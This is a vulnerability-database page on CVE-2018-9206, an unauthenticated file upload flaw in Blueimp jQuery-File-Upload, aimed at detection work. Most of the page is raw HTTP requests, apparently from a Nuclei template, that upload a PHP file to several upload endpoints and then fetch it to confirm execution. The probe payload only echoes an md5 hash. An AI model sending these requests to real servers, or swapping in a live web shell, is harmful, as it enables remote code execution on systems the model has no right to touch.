🔙 목록으로 돌아가기

CVE-2018-9206: Blueimp jQuery-File-Upload v9.22.0 - Unrestricted File Upload

Title	Blueimp jQuery-File-Upload v9.22.0 - Unrestricted File Upload
Author	thewindghost
Severity	Critical
Impact	Attackers can upload malicious files, potentially leading to remote code execution or server compromise.
Remediation	Update to the latest version of Blueimp jQuery-File-Upload.
CVSS Score	9.8
EPSS Score	0.93931
CVE ID	CVE-2018-9206
CWE ID	CWE-434
Tags	cve cve2018 jquery file-upload rce intrusive vkev

🔍 Vulnerability Description

Blueimp jQuery-File-Upload v9.22.0 contains an unauthenticated arbitrary file upload caused by insufficient validation in the upload component, letting remote attackers upload malicious files, exploit requires no authentication.

🌐 HTTP Request

GET /jQuery-File-Upload/server/php/index.php/files/jNklahMq.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:130.0) Gecko/20100101 Firefox/130.0
Accept-Encoding: gzip
Connection: close

GET /jquery-file-upload/server/php/index.php/files/jNklahMq.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
Accept-Encoding: gzip
Connection: close

POST /jquery-file-upload/server/php/index.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Fedora; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36
Content-Length: 253
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary38Fe6qz6Ic4m66aWdiar1mSActE
Accept-Encoding: gzip
Connection: close

------WebKitFormBoundary38Fe6qz6Ic4m66aWdiar1mSActE

Content-Disposition: form-data; name="files[]"; filename="jNklahMq.php"

Content-Type: application/x-php



<?php echo md5("CVE-2018-9206"); ?>

------WebKitFormBoundary38Fe6qz6Ic4m66aWdiar1mSActE--

POST /jQuery-File-Upload/server/php/index.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36
Content-Length: 253
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary38Fe6qz6Ic4m66aWdiar1mSActE
Accept-Encoding: gzip
Connection: close

------WebKitFormBoundary38Fe6qz6Ic4m66aWdiar1mSActE

Content-Disposition: form-data; name="files[]"; filename="jNklahMq.php"

Content-Type: application/x-php



<?php echo md5("CVE-2018-9206"); ?>

------WebKitFormBoundary38Fe6qz6Ic4m66aWdiar1mSActE--

GET /files/jNklahMq.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-TW) AppleWebKit/533.19.4 (KHTML, like Gecko) Version/5.0.2 Safari/533.18.5
Accept-Encoding: gzip
Connection: close

GET /files/jNklahMq.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; es-es) AppleWebKit/533.21.1 (KHTML, like Gecko) Version/5.0.5 Safari/533.21.1
Accept-Encoding: gzip
Connection: close

GET /php/index.php/files/jNklahMq.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.3 Safari/605.1.15
Accept-Encoding: gzip
Connection: close

POST /server/php/upload.class.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
Content-Length: 253
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary38Fe6qz6Ic4m66aWdiar1mSActE
Accept-Encoding: gzip
Connection: close

------WebKitFormBoundary38Fe6qz6Ic4m66aWdiar1mSActE

Content-Disposition: form-data; name="files[]"; filename="jNklahMq.php"

Content-Type: application/x-php



<?php echo md5("CVE-2018-9206"); ?>

------WebKitFormBoundary38Fe6qz6Ic4m66aWdiar1mSActE--

POST /php/index.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:1.9.7.20) Gecko/ Firefox/3.6.10
Content-Length: 253
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary38Fe6qz6Ic4m66aWdiar1mSActE
Accept-Encoding: gzip
Connection: close

------WebKitFormBoundary38Fe6qz6Ic4m66aWdiar1mSActE

Content-Disposition: form-data; name="files[]"; filename="jNklahMq.php"

Content-Type: application/x-php



<?php echo md5("CVE-2018-9206"); ?>

------WebKitFormBoundary38Fe6qz6Ic4m66aWdiar1mSActE--

POST /server/php/UploadHandler.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.8.1 Mobile/15E148 Safari/604.1
Content-Length: 253
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary38Fe6qz6Ic4m66aWdiar1mSActE
Accept-Encoding: gzip
Connection: close

------WebKitFormBoundary38Fe6qz6Ic4m66aWdiar1mSActE

Content-Disposition: form-data; name="files[]"; filename="jNklahMq.php"

Content-Type: application/x-php



<?php echo md5("CVE-2018-9206"); ?>

------WebKitFormBoundary38Fe6qz6Ic4m66aWdiar1mSActE--

GET /files/jNklahMq.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Fedora; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36
Accept-Encoding: gzip
Connection: close

GET /files/jNklahMq.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.75 Safari/537.36
Accept-Encoding: gzip
Connection: close

GET /example/upload.php/files/jNklahMq.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; WOW64; rv:41.0) Gecko/20100101 Firefox/140.0.1 (x64 de)
Accept-Encoding: gzip
Connection: close

GET /files/jNklahMq.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:1.9.5.20) Gecko/ Firefox/3.6.4
Accept-Encoding: gzip
Connection: close

GET /files/jNklahMq.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept-Encoding: gzip
Connection: close

GET /server/php/UploadHandler.php/files/jNklahMq.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0
Accept-Encoding: gzip
Connection: close

GET /server/php/upload.class.php/files/jNklahMq.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Firefox/58.0.1
Accept-Encoding: gzip
Connection: close

POST /example/upload.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.5.1 Safari/605.1.15
Content-Length: 253
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary38Fe6qz6Ic4m66aWdiar1mSActE
Accept-Encoding: gzip
Connection: close

------WebKitFormBoundary38Fe6qz6Ic4m66aWdiar1mSActE

Content-Disposition: form-data; name="files[]"; filename="jNklahMq.php"

Content-Type: application/x-php



<?php echo md5("CVE-2018-9206"); ?>

------WebKitFormBoundary38Fe6qz6Ic4m66aWdiar1mSActE--

📚 References

🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2018/CVE-2018-9206.yaml

🦈 Packet Capture: ⬇️ Download cve-2018-9206.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.

Snort 2 Rule

N/A

Snort 3 Rule

N/A